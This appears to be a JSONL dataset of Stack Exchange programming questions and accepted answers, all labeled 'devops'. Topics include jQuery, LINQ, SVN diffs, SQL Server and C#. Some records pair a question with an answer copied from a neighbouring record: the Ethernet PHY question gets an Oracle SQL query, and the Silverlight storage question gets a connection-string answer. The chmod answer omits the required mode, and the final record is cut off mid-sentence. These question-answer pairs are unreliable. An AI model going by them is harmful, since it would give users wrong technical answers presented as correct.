{"id": "hf_fe3959ac1f8c", "question": "<p>Is there any setting using which the iPhone keyboard won't appear for a particular textbox in web page? May be some css kind of setting?</p>\n", "question_body": "", "answer": "Do you want the text box to be editable for any other browser other than the iPhone?  If not, have you attempted to disable the text box?  I haven't tried this, nor can I recall seeing a disabled text box on a site with my iPhone; however, it may do it.\nIf disabling the text box works\n, but you still only want to restrict it to the iPhone, you'll need to look at the User Agent for the iPhone.  You can determine this through server side code or through JavaScript's\n```\nnavigator.userAgent\n```\n.\nTo save a bit more time for you as well, the iPhone's user agent is as follows:\n```\n```\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3B48b Safari/419.3\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.877822"}
{"id": "hf_fd9c6394b20f", "question": "<p>Which ftp client or which syntax allows easy chmod for sub-directories?</p>\n", "question_body": "", "answer": "To chmod all subdirs from where you are (recursive):\n```\n```\nchmod -R *\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.901429"}
{"id": "hf_6703de900285", "question": "<p>How would you get tree-structured data from a database with the best performance? For example, say you have a folder-hierarchy in a database. Where the folder-database-row has <strong>ID</strong>, <strong>Name</strong> and <strong>ParentID</strong> columns.</p>\n\n<p>Would you use a special algorithm to get all the data at once, minimizing the amount of database-calls and process it in code?</p>\n\n<p>Or would you use do many calls to the database and sort of get the structure done from the database directly?</p>\n\n<p>Maybe there are different answers based on x amount of database-rows, hierarchy-depth or whatever?</p>\n\n<p><strong>Edit</strong>: I use Microsoft SQL Server, but answers out of other perspectives are interesting too.</p>\n", "question_body": "", "answer": "If you have many trees in the database, and you will only ever get the whole tree out, I would store a tree ID (or root node ID) and a parent node ID for each node in the database, get all the nodes for a particular tree ID, and process in memory.\nHowever if you will be getting subtrees out, you can only get a subtree of a particular parent node ID, so you either need to store all parent nodes of each node to use the above method, or perform multiple SQL queries as you descend into the tree (hope there are no cycles in your tree!), although you can reuse the same Prepared Statement (assuming that nodes are of the same type and are all stored in a single table) to prevent re-compiling the SQL, so it might not be slower, indeed with database optimisations applied to the query it could be preferable. Might want to run some tests to find out.\nIf you are only storing one tree, your question becomes one of querying subtrees only, and the second answer applied.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.971985"}
{"id": "hf_8ea8f06b74bd", "question": "<p>I understand that, if <code>S</code> is a child class of <code>T</code>, then a <code>List&lt;S&gt;</code> is <strong>not</strong> a child of <code>List&lt;T&gt;</code>. Fine. But interfaces have a different paradigm: if <code>Foo</code> implements <code>IFoo</code>, then why is a <code>List&lt;Foo&gt;</code> not (an example of) a <code>List&lt;IFoo&gt;</code>?</p>\n\n<p>As there can be no actual class <code>IFoo</code>, does this mean that I would always have to cast each element of the list when exposing a <code>List&lt;IFoo&gt;</code>? Or is this simply bad design and I have to define my own collection class <code>ListOfIFoos</code> to be able to work with them? Neither seem reasonable to me... </p>\n\n<p>What would be the best way of exposing such a list, given that I am trying to program to interfaces? I am currently tending towards actually storing my <code>List&lt;Foo&gt;</code> internally as a <code>List&lt;IFoo&gt;</code>.</p>\n", "question_body": "", "answer": "MASSIVE EDIT\nYou'll be able to do it with C# 4.0, but\n[thanks Jon]\nYou can get around it using\n```\nConvertAll\n```\n:\n```\n```\npublic List<IFoo> IFoos()\n{\n    var x = new List<Foo>(); //Foo implements IFoo\n    /* .. */\n    return x.ConvertAll<IFoo>(f => f); //thanks Marc\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.007101"}
{"id": "hf_e7478e3e72e8", "question": "<p>I am looking for a way to pull the first 100 characters from a string variable to put in another variable for printing.  </p>\n\n<p>Is there a function that can do this easily?</p>\n\n<p>For example:</p>\n\n<pre><code>$string1 = \"I am looking for a way to pull the first 100 characters from a string variable to put in another variable for printing.\";\n$string2 = 100charfunction($string1);\nprint $string2\n</code></pre>\n\n<p>To get:</p>\n\n<pre><code>I am looking for a way to pull the first 100 characters from a string vari\n</code></pre>\n", "question_body": "", "answer": "```\n```\n$small = substr($big, 0, 100);\n```\n```\nFor\nString Manipulation\nhere is a page with a lot of function that might help you in your future work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.031212"}
{"id": "hf_6fe1d345de3a", "question": "<p>When the page is done loading I call a function which puts the hover event on $('a.tooltip'). When I want to <em>unbind</em> this event I do the following:    </p>\n\n<pre><code>   $('a.tooltip').unbind('mouseover mouseout');\n</code></pre>\n\n<p>That works! However when I want rebind the hover event and I call the function that was first loaded at document ready again, it doesn't rebind the hover helper. How can I rebind it?</p>\n\n<p>Thank you,</p>\n\n<p>Ice</p>\n", "question_body": "", "answer": "Are you sure the unbinding is working correctly? In my experience, .hover() does rebind properly, but I have had to use this unbind syntax:\n```\n```\n$(this).unbind('mouseenter').unbind('mouseleave');\n```\n```\nWhen I tried putting both events into one unbind(), it only unbound one of them.\nI wonder if that's happening for you? (Or if the choice of\n```\nmouseover\n```\nvs\n```\nmouseenter\n```\n, etc, matters?)\nUpdate\nAccording to\nquirksmode.org\n,\n```\nmouseenter\n```\nand\n```\nmouseleave\n```\nare IE-specific events, but as Jimmy pointed out in the comments, jQuery implements them for other browsers as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.115636"}
{"id": "hf_d3752c66667a", "question": "<p>I'm testing the basics for exchanging rest messages between a asp.net mvc site and a WCF 3.5 service.\nThe service is built using the template found in the WCF REST Starter Kit found on codeplex.\nI would like to exchange json messages using jquery.\nThe REST Singleton service is working properly and it also provide examples of all the possible calling adding the help parameter ad the end of the uri.\nI arrive to perform GET requests with the built in jquery $.getJSON.\nI have problems doing the PUT (for updating values) and POST.</p>\n\n<pre><code>$.ajax({\n     type: \"PUT\",\n     dataType: \"json\",\n     url: \"http://localhost:1045/Service.svc/?format=json\",\n     data: '{\"Value\":testvalue}'\n }); \n</code></pre>\n\n<p>What is the best approach for this? Is it possible not to use Ms. Ajax at all and is it correct to bypass it?</p>\n", "question_body": "", "answer": "\"PUT\" and \"DELETE\" are not supported by all browsers according to jQuery\nThe type of request to make (\"POST\" or\n  \"GET\"), default is \"GET\". Note: Other\n  HTTP request methods, such as PUT and\n  DELETE, can also be used here, but\n  they are not supported by all\n  browsers.\nhttp://docs.jquery.com/Ajax/jQuery.ajax#options\nI didn't really understand your question though.  Are you having a problem doing a PUT and a POST or just a POST?  Does the GET work fine?\nOne error that I noticed was your data, notice I added it without quotes.\n```\n```\n$.ajax({\n     type: \"PUT\",\n     dataType: \"json\",\n     url: \"http://localhost:1045/Service.svc/?format=json\",\n     data: { Value: \"testvalue\" }\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.152339"}
{"id": "hf_920ef328fbb6", "question": "<p>I am creating a GUI frontend for the Eve Online API in Python.</p>\n\n<p>I have successfully pulled the XML data from their server.</p>\n\n<p>I am trying to grab the value from a node called \"name\":</p>\n\n<pre><code>from xml.dom.minidom import parse\ndom = parse(\"C:\\\\eve.xml\")\nname = dom.getElementsByTagName('name')\nprint name\n</code></pre>\n\n<p>This seems to find the node, but the output is below:</p>\n\n<pre><code>[&lt;DOM Element: name at 0x11e6d28&gt;]\n</code></pre>\n\n<p>How could I get it to print the value of the node?</p>\n", "question_body": "", "answer": "It should just be\n```\n```\nname[0].firstChild.nodeValue\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.201035"}
{"id": "hf_34cd32b42abc", "question": "<p>I'm interested in hearing people's thoughts about the pros and cons of database mirroring vs. log shipping in this scenario: we need to setup a database backup situation wherein there is exactly one secondary server that need not automatically pick up when the primary fails.  Recovering and starting with the secondary should not have to take too long though.  </p>\n", "question_body": "", "answer": "Switching to the secondary database does take longer with log shipping, but it's not too bad.  You'll have to manually copy any uncopied backup files, apply the transaction log backups to the secondary database, recover the secondary database, and change its role to primary.  If the old primary databases accessible, you should back up its transaction log before beginning.  Failing over with mirroring is somewhat simpler, and can be done automatically if you are using High Availability mode.  Even when using High Performance mode, it's still a one statement operation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.260875"}
{"id": "hf_0e72308515a0", "question": "<p>In the <a href=\"http://www.boost.org/doc/html/signals.html\" rel=\"noreferrer\" title=\"Boost Signals documentation\">Boost Signals</a> library, they are overloading the () operator.</p>\n\n<p>Is this a convention in C++? For callbacks, etc.?</p>\n\n<p>I have seen this in code of a co-worker (who happens to be a big Boost fan). Of all the Boost goodness out there, this has only led to confusion for me.</p>\n\n<p>Any insight as to the reason for this overload?</p>\n", "question_body": "", "answer": "Another co-worker pointed out that it could be a way to disguise functor objects as functions. For example, this:\n```\n```\nmy_functor();\n```\n```\nIs really:\n```\n```\nmy_functor.operator()();\n```\n```\nSo does that mean this:\n```\n```\nmy_functor(int n, float f){ ... };\n```\n```\nCan be used to overload this as well?\n```\n```\nmy_functor.operator()(int n, float f){ ... };\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.296905"}
{"id": "hf_79a428ea9e18", "question": "<p>I have a table, users, in an Oracle 9.2.0.6 database.  Two of the fields are varchar - last_name and first_name.</p>\n\n<p>When rows are inserted into this table, the first name and last name fields are supposed to be in all upper case, but somehow some values in these two fields are mixed case.</p>\n\n<p>I want to run a query that will show me all of the rows in the table that have first or last names with lowercase characters in it.</p>\n\n<p>I searched the net and found REGEXP_LIKE, but that must be for newer versions of oracle - it doesn't seem to work for me.</p>\n\n<p>Another thing I tried was to translate \"abcde...z\" to \"$$$$$...$\" and then search for a '$' in my field, but there has to be a better way?</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "How about this:\n```\n```\nselect id, first, last from mytable\nwhere first != upper(first) or last != upper(last);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.444196"}
{"id": "hf_fa333d89c676", "question": "<p>I'm looking for the best way to interpret the standard (well, standardish) Ethernet PHY registers, to determine the speed that an Ethernet link is actually running at.  (e.g. 10/100/1000 and full/half-duplex)</p>\n\n<p>I daresay that this is to be found in the source of things like Linux, and I'm just off to look there now, but if anyone has a good reference I'd be interested.</p>\n\n<p>What I'm interested in is if it actually linked and what it linked at, rather than the vast sea of possibilities that each end has advertised at the outset.</p>\n", "question_body": "", "answer": "How about this:\n```\n```\nselect id, first, last from mytable\nwhere first != upper(first) or last != upper(last);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.467833"}
{"id": "hf_8c9f1a474b38", "question": "<p>The navigation on the left menu in the below site uses CSS for mouseover links.<br /><a href=\"http://www.pvh.com/\" rel=\"nofollow noreferrer\">PVH</a></p>\n\n<p>When I take the code of the navigation and make it separate page. Then the mouseover links are not working. What could be the reason?<br />\n<a href=\"http://shivanand.in/tmp/navigation.html\" rel=\"nofollow noreferrer\">Test</a></p>\n", "question_body": "", "answer": "Probably...\n```\n```\n<script src=\"menu_1b.js\" type=\"text/javascript\">\n</script>\n<script src=\"menu_com.js\" type=\"text/javascript\">\n```\n```\nhave something to say on the matter. EDIT: A function called function CreateMenuStructureAgain() kind of gives it away.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.491645"}
{"id": "hf_7026c2470f37", "question": "<p>Is it possible to get access to the spell checker that is incorporated in browsers for text areas from Javascript? I would like to be able to control spell checking from withing my code. Most browsers (apart from IE) seem to have some kind of a spell checker built in to them nowadays.</p>\n", "question_body": "", "answer": "The most access that I know of is disabling or enabling spellchecking on a field:\nInline Disabling of Firefox Spellcheck?\nI don't know of a way that you can directly access the spellchecker of a browser via javascript.  If you aren't particular to the spell checker of the browser, there are many open source spell checkers for javascript. Just try googling javascript spell checker.\nIf you really want to use the browsers spellcheck you might want to create a textbox and set the display to none.  You could then put each word in the textbox and then check to see if it's underlined or not.  I'm not sure of the feasability of this, just a thought.  My suggestion would be to use a javascript spellchecker instead of trying to hack up a way of using the browser's spellchecker.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.528411"}
{"id": "hf_b469c5549f5c", "question": "<p>How can I select multiple elements using a WHERE...IN... type of clause as in</p>\n<pre><code>select * from orders where orderid in (1, 4, 5)\n</code></pre>\n<p>in LinqToSql? I'd prefer not to have a lambda expression since they scare me.</p>\n", "question_body": "", "answer": "LINQ has \"Contains\" which is like \"IN\" but expressed the other way round - an element isn't \"in\" a set, a set \"contains\" an element.\n```\n```\nint[] validIds = { 1, 4, 5 };\nvar query = from order in db.Orders\n            where validIds.Contains(order.Id)\n            select order\n```\n```\nThis is more simply expressed (IMO) with a lambda though:\n```\n```\nint[] validIds = { 1, 4, 5 };\nvar query = db.Orders.Where(order => validIds.Contains(order.Id));\n```\n```\nI realise lambdas are \"new\" and therefore scary to some extent, but it's really well worth grabbing hold of them with both hands. They're lovely.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.576098"}
{"id": "hf_4baadc523afd", "question": "<p>I have a view which contains a form, the form posts and the data gets processed etc, then I want to return the view Index, so return view(\"Index\");</p>\n\n<p>however this will then complain about my ViewData not existing, I get the feeling that the controller code under Index() isn't being processed which adds the list it requires to the ViewData, anyone know what's wrong?</p>\n\n<p>Thanks</p>\n\n<p>edit: Apparently it's done to prevent recursion.. in which case, I'm lost as to what to do without repeating all my ViewData stuff both Controllers</p>\n", "question_body": "", "answer": "I think you should have two actions: one that processes the form submission, and another one that collects data for the view.\nOnce the form has been processed, you call\n```\nreturn RedirectToAction(\"Index\")\n```\nand you are done.\nI hope I understood what you meant by this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.612590"}
{"id": "hf_0b5bf53b04b9", "question": "<p>I would like to write a utility that will provide me with a relatively unique ID in Java.  Something pretty simple, like x bits from timestamp + y bits from random number.</p>\n\n<p>So, how would I implement the following method:</p>\n\n<pre><code>long getUniqueID()\n{\n    long timestamp = System.currentTimeMillis();\n    long random = some random long\n\n    ...\n\n    return id;\n}\n</code></pre>\n\n<p>BONUS</p>\n\n<p>Any suggestions for other easily obtainable information I could use to form my ID?</p>\n\n<p>note: I am aware of GUIDs and I know Java has a UUID class, but I don't want something that is 128 bits long.</p>\n", "question_body": "", "answer": "What you are trying to do is create a\nhash function\nthat combines two long values into a single long value. In this case, the\nuniformity\nof the hash function will be of utmost importance since collisions in created unique ID values are unacceptable. However, if you can compare hash values to previously created identifiers, then collisions can be resolved by modifying the hash until no collision occurs.\nFor example, you could take the time stamp and perform an\nexclusive-or\n(using the caret ^ operator in Java) with the random value. If a collision is detected, then add one to the result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.636949"}
{"id": "hf_60ac5bdf3fea", "question": "<p>Up to now in my application, I've been supporting all flavors of Windows from Windows 98 to Windows NT/2000 to XP to Vista.</p>\n\n<p>But because of adding Unicode in my next version, support of Windows 98 would still be possible, but very difficult.</p>\n\n<p>I know there are still some of my users running Windows 98. </p>\n\n<p>What are the pros and cons of me no longer supporting Windows 98?</p>\n", "question_body": "", "answer": "If you still have users running Windows 98, then one obvious drawback to dropping support is that some of those will inevitably refuse to upgrade. They'll either stick with the version of your software they already have, or switch to something else.\nOn the other hand, the cost of developing for and supporting those users probably outweighs the additional revenue gained from it. So even though in principle you don't want any unhappy customers, in practice it may be more cost-effective to keep 99% of them happy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.661763"}
{"id": "hf_4e748e2b4cc8", "question": "<p>When ever I think I can use the yield keyword, I take a step back and look at how it will impact my project. I always end up returning a collection instead of yeilding because I feel the overhead of maintaining the state of the yeilding method doesn't buy me much. In almost all cases where I am returning a collection I feel that 90% of the time, the calling method will be iterating over all elements in the collection, or will be seeking a series of elements throughout the entire collection. </p>\n\n<p>I do understand its usefulness in linq, but I feel that only the linq team is writing such complex queriable objects that yield is useful.</p>\n\n<p>Has anyone written anything like or not like linq where yield was useful?</p>\n", "question_body": "", "answer": "Note that with yield, you are iterating over the collection once, but when you build a list, you'll be iterating over it twice.\nTake, for example, a filter iterator:\n```\n```\nIEnumerator<T>  Filter(this IEnumerator<T> coll, Func<T, bool> func)\n{\n     foreach(T t in coll)\n        if (func(t))  yield return t;\n}\n```\n```\nNow, you can chain this:\n```\n```\nMyColl.Filter(x=> x.id > 100).Filter(x => x.val < 200).Filter (etc)\n```\n```\nYou method would be creating (and tossing) three lists.  My method iterates over it just once.\nAlso, when you return a collection, you are forcing a particular implementation on you users. An iterator is more generic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.686482"}
{"id": "hf_0a80cb37a2f7", "question": "<p>I have a ComboBox inside of a cell of a DataGridView Row on a Windows form.  I need the following to happen:  </p>\n\n<ol>\n<li>click on the ComboBox</li>\n<li>pick a value</li>\n<li>recalculate a total &amp; display inside of a lable that is sitting\n    outside of the DataGridView.</li>\n</ol>\n\n<p>Currently, the following is happening:  </p>\n\n<ol>\n<li>Click on the ComboBox</li>\n<li>Click it again to open the CB's Drop-down list</li>\n<li>select a value</li>\n<li>click outside of the cell to force a recalculation of the\n    external label.</li>\n</ol>\n\n<p>I want to avoid, first, having to click the combo twice (once to set focus, and again to select the value).  Second, I'd like for a live recalculation to happen after selecting a value.</p>\n\n<p>Does anyone have a trick or two to solve any of these?</p>\n\n<p>I've tried most of the events on the DGV without much luck.</p>\n", "question_body": "", "answer": "Add a handler to the CellClick event of the DataGridView that looks a bit like:\n```\n```\nprivate void vehicleTypeGridView_CellClick(object sender, DataGridViewCellEventArgs e)\n{\n    if ( e.RowIndex == - 1 ) return; //Header Cell clicked -> ignore it.\n    vehicleTypeGridView.BeginEdit ( true );\n    var control = vehicleTypeGridView.EditingControl as DataGridViewComboBoxEditingControl;\n    if ( control != null ) control.DroppedDown = true;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.710438"}
{"id": "hf_71315d6f4168", "question": "<p>when i point my browser to <code>http://localhost/phpmyadmin</code>, instead of showing me its front page, it comes up with save as dialog.</p>\n\n<p>I'm running:\nApache/2.2.3 (Debian) PHP/5.2.0-8+etch13 Server </p>\n\n<p>I've reinstalled both apache2 and php5.\nAfter re-install i don't have httpd.conf file, how can i get it back? Is there a standard file which i can just copy into /etc/apache2?</p>\n\n<p>I did a locate httpd.conf and the only file i got was the empty file i have under /etc/apache2/ which i made.</p>\n", "question_body": "", "answer": "Did you configure the php extension to send an http header?\nIn httpd.conf:\nAddType application/x-httpd-php .php\nEDIT\nThe file is not necessarily named\n```\nhttpd.conf\n```\n, that's just the default name.  Try searching for other configuration files in the Apache directory -- the extension probably is\n```\n.conf\n```\nbut it might be something else... \nIf you used apt-get on debian to install apache2, try\n```\n/etc/apache2/apche2.conf\n```\n/EDIT", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.746705"}
{"id": "hf_52da07d3e6ed", "question": "<p>What is the best way to centralize and secure the connections strings used by applications?  In my environment we have many internal applications.  Each application requires one or more connection strings in order to access the database.  We have a goal of centralizing all these connection strings (particularly SQL logins and passwords) so we could change passwords in one place instead of in 35 different .config files, registry entries etc.</p>\n\n<p>Currently we are using a home grown component which pulls the connection string information from an access database, this covers the centralization requirement but isn't particularly secure.  In addition we have applications written in languages from classic asp, vb6, delphi, c++, .net so the solution would need to be usable by all those applications.</p>\n\n<p>Does anyone have an idea of how to do this better, or do we need to rework our whole approach to the way our applications access the database.</p>\n", "question_body": "", "answer": "The company I work for has used a similar situation through a SQL Server database instead.  We ended up creating a COM-compliant .net dll to simplify and secure the API into the database and to ensure that the same logic is used between classic asp, .Net, and DTS packages.  It has worked out great for us for year and while there are some refactoring items a lot of us would like to do with it, it's been great to address issues like server migrations or renamings.\nI think you are on the right path; however, I would recommend the following changes:\nTry to move to a true database server.  Access is great for MS Office but not for something of this scale.\nBuild an administrative console that allows for auditing of who is adding and editing information (secure who has access to what settings too).\nBuild a COM-compliant DLL so that it can be consumed by other systems in a secure and consistent manner.\nEDIT:\nSomething that I have noticed after working years in a system like this is that it ties your hands slightly on some solutions.  Many tools out there (i.e. nHibernate, Elmah, etc. in the .Net world) really are limited when the connection string is no longer in the config files.  Many can be easily modified to use your API; however, it is something that takes more time to investigate if you want to use it.  Just a FYI on that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.771115"}
{"id": "hf_836783f8c28f", "question": "<p>I'd like to allow a user to open files in their own client applications via Silverlight. I'd like this to work similarly to WebDAV, in the sense that they could read/write the file back into Silverlight's isolated storage...</p>\n\n<p>Is it possible to construct a file:// link to an isolated storage file?\nIs there a uri scheme that is defined for silverlight in a browser that has the silverlight plugin?</p>\n\n<p>Am I totally nuts?</p>\n", "question_body": "", "answer": "The company I work for has used a similar situation through a SQL Server database instead.  We ended up creating a COM-compliant .net dll to simplify and secure the API into the database and to ensure that the same logic is used between classic asp, .Net, and DTS packages.  It has worked out great for us for year and while there are some refactoring items a lot of us would like to do with it, it's been great to address issues like server migrations or renamings.\nI think you are on the right path; however, I would recommend the following changes:\nTry to move to a true database server.  Access is great for MS Office but not for something of this scale.\nBuild an administrative console that allows for auditing of who is adding and editing information (secure who has access to what settings too).\nBuild a COM-compliant DLL so that it can be consumed by other systems in a secure and consistent manner.\nEDIT:\nSomething that I have noticed after working years in a system like this is that it ties your hands slightly on some solutions.  Many tools out there (i.e. nHibernate, Elmah, etc. in the .Net world) really are limited when the connection string is no longer in the config files.  Many can be easily modified to use your API; however, it is something that takes more time to investigate if you want to use it.  Just a FYI on that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.795247"}
{"id": "hf_16b4d3d14a0d", "question": "<p>The scenario is:</p>\n\n<ol>\n<li>svn cp or mv some file</li>\n<li>modify that file</li>\n<li>svn diff > mypatch</li>\n</ol>\n\n<p>On other machine (same working copy, but no changes):</p>\n\n<ol start=\"4\">\n<li>Try to apply mypatch.</li>\n<li>Fail -> tries to modify unexistant file.</li>\n</ol>\n\n<p>How can I make svn diff produce patch-appliable patch, or cleanly apply patch produced by svn diff in this case? I can't commit. I would like to preserve mergeinfo (because the obvious workaround is to add the file as totally new, without connection to the previous one).</p>\n", "question_body": "", "answer": "With subversion, you can specify which diff binary to use, and parameters to pass to it.  See\nthe manual\non svn diff.\nYou'd want to produce a regular patch file from a svn diff, so you'd want the svn diff to look like a normal diff.  Try this:\n```\n```\nsvn diff --diff-cmd /usr/bin/diff -x \"-i -b\" > mypatch\n...\npatch -p0 < mypatch\n```\n```\nProof of concept:\n```\n```\necho \"newline\" >> README.txt\nsvn diff --diff-cmd /usr/bin/diff -x \"-i -b\" > mypatch\ncp README.txt README.txt.patched\nsvn revert README.txt\npatch -p0 < mypatch\ndiff README.txt README.txt.patched\n```\n```\nNo difference in the two files after patching.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.854073"}
{"id": "hf_e54171c7c979", "question": "<p>I have a table with almost 800,000 records and I am currently using dynamic sql to generate the query on the back end.  The front end is a search page which takes about 20 parameters and depending on if a parameter was chosen, it adds an \" AND ...\" to the base query.  I'm curious as to if dynamic sql is the right way to go ( doesn't seem like it because it runs slow).  I am contemplating on just creating a denormalized table with all my data.  Is this a good idea or should I just build the query all together instead of building it piece by piece using the dynamic sql. Last thing, is there a way to speed up dynamic sql?</p>\n", "question_body": "", "answer": "It is more likely that your indexing (or lack thereof) is causing the slowness than the dynamic SQL.\nWhat does the execution plan look like?  Is the same query slow when executed in SSMS?  What about when it's in a stored procedure?\nIf your table is an unindexed heap, it will perform poorly as the number of records grows - this is regardless of the query, and a dynamic query can actually perform better as the table nature changes because a dynamic query is more likely to have its query plan re-evaluated when it's not in the cache.  This is not normally an issue (and I would not classify it as a design advantage of dynamic queries) except in the early stages of a system when SPs have not been recompiled, but statistics and query plans are out of date, but the volume of data has just drastically changed.\nNot the static one yet. I have with the dynamic query, but it does not give any optimizations. If I ran it with the static query and it gave suggestions, would applying them affect the dynamic query? – Xaisoft (41 mins ago)\nYes, the dynamic query (EXEC (@sql)) is probably not going to be analyzed unless you analyzed a workload file. – Cade Roux (33 mins ago)\nWhen you have a search query across multiple tables that are joined, the columns with indexes need to be the search columns as well as the primary key/foreign key columns - but it depends on the cardinality of the various tables. The tuning analyzer should show this. – Cade Roux (22 mins ago)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.951341"}
{"id": "hf_7359d1bcd2af", "question": "<p>I am developing a product with heavy 3D graphics computations, <strong>to a large extent closest point and range searches</strong>. Some hardware optimization would be useful. While I know little about this, my boss (who has no software experience) advocates FPGA (because it can be tailored), while our junior developer advocates GPGPU with CUDA, because its cheap, hot and open. While I feel I lack judgement in this question, I believe CUDA is the way to go also because I am worried about flexibility, our product is still under strong development.</p>\n\n<p>So, rephrasing the question, are there any reasons to go for FPGA at all? Or is there a third option?</p>\n", "question_body": "", "answer": "I investigated the same question a while back. After chatting to people who have worked on FPGAs, this is what I get:\nFPGAs are great for realtime systems, where even 1ms of delay might be too long. This does not apply in your case;\nFPGAs can be very fast, espeically for well-defined digital signal processing usages (e.g. radar data) but the good ones are much more expensive and specialised than even professional GPGPUs;\nFPGAs are quite cumbersome to programme. Since there is 